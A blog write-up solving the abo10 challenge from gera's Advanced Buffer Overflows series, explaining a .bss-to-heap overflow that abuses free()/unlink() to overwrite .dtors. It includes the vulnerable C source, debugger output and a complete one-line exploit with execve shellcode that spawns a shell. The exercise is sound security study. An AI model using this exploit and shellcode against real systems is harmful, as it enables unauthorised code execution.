Advanced Buffer Overflows - Ultimatum

As the saying goes "For every action there's a reaction and for every beginning there's an end" and finally the day arrived where we'll say goodbye to the Advanced Buffer Overflow challenge releasing a solution for its last establishment. I want to stress at this point that this was one of my most enlightening journeys in my yet short incursion in exploitation lands; In this respect my deepest kudos to gera from Core SDI for setting up all these challenges. I'll talk about the solution shortly but first I want to talk a little bit about how the roadmap for the future looks. I'm quite interested in making some Windows exploitation for which I already spotted a couple of exploitme's that looked very appealing. Regarding this, I think I'll focus more on explaining what the particular case is from a exploiter's standpoint using reverse engineering rather than explaining how the actual vulnerability type is and how you can exploit it: Advanced Buffer Overflows does for a lesson great enough for that. At the same time I intend to keep learning different techniques as laid out in different papers and books like Shellcoder's Handbook such as Format Strings, Integer Overflows, etc...that seem to be rare to spot these days but in some exotic cases are still there waiting to serve us some fun. Enough stories for today, now let's get back to the action :-). As always, the first step is to take a look at the C source and make some educated guesses about how we could take advantage of the situation:

char buf[256];

int main(int argv,char **argc) {
	char *pbuf=(char*)malloc(256);

	strcpy(buf,argc[1]);
	free(pbuf);
}As we can see

buf makes use of the strcpy() function without properly sanitizing his parameters and therefore we can freely overflow it; but since buf is not in the stack we can't make a simple stack overflow. Alongside buf we also have a malloc()'d chunk as pbuf on stage which will get free()'d once our overflow happens. The bug here isn't noticeable at first glance, but as always in this business, the magic is in the details once again. Both buf and pbuf are uninitialized variables, hence when run, both will be placed where all the uninitialized data is stored in memory; the .bss section. Not in your mind yet? buf and pbuf are both close to each other in the aforementioned section so, we can overflow buf to be able to write in pbuf. But what can we get overflowing pbuf? Well, as it turns out, pbuf will get free()'d at the end of the program; we will try to pull the same trick we did in abo9 and make free() believe there's a free chunk waiting behind pbuf, unlink() will do the rest. In my particular case, the compiler ended up placing more than 256 bytes from the beginning of buf up to pbuf's chunk header. Anyway this is just a matter of adding some more junk to the equation:

[infi@localhost InsecureProgramming]$ ltrace ./abo10 AAAA
__libc_start_main(0x08048390, 2, 0xbfffedf4, 0x080483dc, 0x0804840c < unfinished
... >
malloc(256)                                      = 0x08049710
strcpy(0x080495c0, "AAAA")                        = 0x080495c0
free(0x08049710)                                 = < void >
+++ exited (status 0) +++
[infi@localhost InsecureProgramming]$The exploit looks like a exact copy of abo9's solution but, in this case we can't overwrite the GOT entry for

free() nor any other function because free() is exactly the call that makes our exploit succeed. In this case, I opted to overwrite the destructor in the .dtors section as seen here:

(gdb) x/4x 0x0804956c
0x804956c
<__DTOR_END__>:       0x080495c0      0x00000000      0x08049498     0x40015a38

With all this information readily available we can now craft our toy and voilá! bash is once again greeting us with a friendly prompt:

[infi@localhost InsecureProgramming]$ ./abo10 `python -c 'print "\xeb\x0e"+"A"*14+"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"+"A"*260+"\xff\xff\xff\xff"+"A"*8+"\xf8\xff\xff\xff"+"\xf0\xff\xff\xff"+"\xff\xff\xff\xff"*2+"\x60\x95\x04\x08"+"\xc0\x95\x04\x08"'`
sh-2.05b$So that was it, it was quite simple after all the trouble I had understanding heap overflows prior to solving abo9. We'll see what I come up with for the upcoming months but most likely it'll be one of the ideas I mentioned in the beginning. Until then I hope you enjoyed the show, keep adding NOPs! :-)